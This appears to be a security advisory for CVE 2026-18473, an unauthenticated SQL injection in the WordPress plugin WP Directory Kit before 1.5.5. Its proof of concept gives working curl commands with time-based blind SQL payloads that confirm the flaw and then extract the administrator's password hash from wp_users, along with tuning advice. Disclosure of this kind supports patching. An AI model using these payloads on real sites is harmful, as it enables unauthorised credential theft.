WP Directory Kit < 1.5.5 – Unauthenticated SQL Injection via 'field_search' Parameter | CVE 2026-18473

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users.

Proof of Concept

The plugin runs a location lookup on template_redirect, so the injection fires on essentially any front-end URL of the site, with no authentication and no cookies.

PREREQUISITES (normal admin configuration, all default except the location itself):

1. WP Directory Kit 1.5.4 active. The Locations module is enabled by default.

2. In wp-admin, go to Directory Kit > Locations and add at least one location (for example "London"). The lookup query is executed either way, but the injected expression is only evaluated while scanning rows, so one location must exist.

STEP 1 - Confirm the injection with a TRUE/FALSE timing pair.

Send both requests unauthenticated against the site root. The FALSE case returns immediately; the TRUE case is delayed by the injected SLEEP.

curl -s -o /dev/null -w '%{time_total}s\n' -G "https://victim.example/" --data-urlencode "field_search=a' OR IF(1=2,SLEEP(5),0)#"

curl -s -o /dev/null -w '%{time_total}s\n' -G "https://victim.example/" --data-urlencode "field_search=a' OR IF(1=1,SLEEP(5),0)#"

Expected: about 0.04s for the first, about 5.0s for the second.

STEP 2 - Use the injection as a cross-table oracle against the users table.

The two requests below differ only in the compared byte value, and read the first character of the administrator password hash.

curl -s -o /dev/null -w '%{time_total}s\n' -G "https://victim.example/" --data-urlencode "field_search=a' OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1)>32,SLEEP(5),0)#"

curl -s -o /dev/null -w '%{time_total}s\n' -G "https://victim.example/" --data-urlencode "field_search=a' OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1)>36,SLEEP(5),0)#"

Expected: about 5.0s for the ">32" probe and about 0.04s for the ">36" probe, which resolves the first byte to ASCII 36 ("$"). Repeating this binary search over successive positions recovers the full hash at roughly seven requests per character.

The same payloads work on any front-end page (posts, pages, and 404 URLs), not only the site root.

NOTE: the injected expression is evaluated once per scanned row, so on a directory with many locations the effective delay is multiplied by the row count. Use a smaller SLEEP value on populated sites.